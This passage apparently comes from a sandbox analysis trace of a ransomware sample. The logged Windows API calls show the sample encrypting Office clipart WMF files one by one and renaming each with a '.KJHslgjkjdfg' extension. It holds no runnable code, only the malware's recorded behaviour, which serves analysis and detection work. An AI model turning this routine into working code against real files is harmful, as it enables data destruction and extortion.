lpOverlapped=0x0) returned 1 [0179.934] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0179.934] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0179.934] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0179.934] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0179.934] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.934] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.934] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.935] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2004, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2004, lpOverlapped=0x0) returned 1 [0179.936] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2010, dwBufLen=0x2010 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2010) returned 1 [0179.936] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.936] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2010, lpOverlapped=0x0) returned 1 [0179.936] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.936] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x20e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.936] SetEndOfFile (hFile=0x114) returned 1 [0179.939] GetProcessHeap () returned 0x2a0000 [0179.939] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0179.939] GetProcessHeap () returned 0x2a0000 [0179.939] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0179.939] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200151.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200151.wmf.kjhslgjkjdfg")) returned 1 [0179.941] CloseHandle (hObject=0x114) returned 1 [0179.941] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c0c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0200163.WMF", cAlternateFileName="")) returned 1 [0179.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200163.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0179.943] GetProcessHeap () returned 0x2a0000 [0179.943] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0179.943] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0179.943] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0179.943] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0179.945] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.945] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.945] GetProcessHeap () returned 0x2a0000 [0179.945] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0179.945] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0179.946] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.946] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0179.946] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0179.946] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0179.946] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0179.946] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0179.946] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0179.946] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.946] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.946] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.946] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1c0c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1c0c, lpOverlapped=0x0) returned 1 [0179.947] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1c10, dwBufLen=0x1c10 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1c10) returned 1 [0179.947] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.947] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1c10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1c10, lpOverlapped=0x0) returned 1 [0179.948] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.948] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1ce4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.948] SetEndOfFile (hFile=0x114) returned 1 [0179.950] GetProcessHeap () returned 0x2a0000 [0179.950] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0179.950] GetProcessHeap () returned 0x2a0000 [0179.951] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0179.951] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200163.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200163.wmf.kjhslgjkjdfg")) returned 1 [0179.952] CloseHandle (hObject=0x114) returned 1 [0179.952] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x14c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0200183.WMF", cAlternateFileName="")) returned 1 [0179.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200183.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0179.953] GetProcessHeap () returned 0x2a0000 [0179.953] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0179.953] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0179.953] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0179.953] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.953] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.953] GetProcessHeap () returned 0x2a0000 [0179.953] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0179.954] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0179.954] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.954] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0179.956] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0179.956] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0179.956] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0179.956] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0179.956] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0179.956] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.956] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.956] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.956] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x14c0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x14c0, lpOverlapped=0x0) returned 1 [0179.957] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x14c0, dwBufLen=0x14c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x14c0) returned 1 [0179.958] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.958] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x14c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x14c0, lpOverlapped=0x0) returned 1 [0179.958] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.958] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1594, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.958] SetEndOfFile (hFile=0x114) returned 1 [0179.961] GetProcessHeap () returned 0x2a0000 [0179.961] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0179.961] GetProcessHeap () returned 0x2a0000 [0179.961] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0179.961] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200183.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200183.wmf.kjhslgjkjdfg")) returned 1 [0179.969] CloseHandle (hObject=0x114) returned 1 [0179.969] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f7c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0200189.WMF", cAlternateFileName="")) returned 1 [0179.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200189.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0179.970] GetProcessHeap () returned 0x2a0000 [0179.970] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0179.971] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0179.971] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0179.971] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0179.973] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.973] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.973] GetProcessHeap () returned 0x2a0000 [0179.973] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0179.974] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0179.974] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.974] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0179.974] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0179.974] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0179.974] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0179.974] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0179.974] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0179.975] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.975] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.975] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.975] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1f7c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1f7c, lpOverlapped=0x0) returned 1 [0179.976] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1f80, dwBufLen=0x1f80 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1f80) returned 1 [0179.976] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.976] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1f80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1f80, lpOverlapped=0x0) returned 1 [0179.976] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.976] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2054, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.976] SetEndOfFile (hFile=0x114) returned 1 [0179.979] GetProcessHeap () returned 0x2a0000 [0179.979] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0179.979] GetProcessHeap () returned 0x2a0000 [0179.979] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0179.979] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200189.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200189.wmf.kjhslgjkjdfg")) returned 1 [0179.981] CloseHandle (hObject=0x114) returned 1 [0179.981] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa65cc000, ftCreationTime.dwHighDateTime=0x1be3e98, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa65cc000, ftLastWriteTime.dwHighDateTime=0x1be3e98, nFileSizeHigh=0x0, nFileSizeLow=0x7a46, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0200273.WMF", cAlternateFileName="")) returned 1 [0179.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200273.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0179.982] GetProcessHeap () returned 0x2a0000 [0179.982] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0179.982] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0179.982] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0179.982] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0179.984] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.984] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.984] GetProcessHeap () returned 0x2a0000 [0179.984] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0179.984] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0179.984] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.984] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0179.985] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0179.985] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0179.985] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0179.985] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0179.985] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0179.985] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.985] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.985] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.985] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7a46, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7a46, lpOverlapped=0x0) returned 1 [0179.989] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, 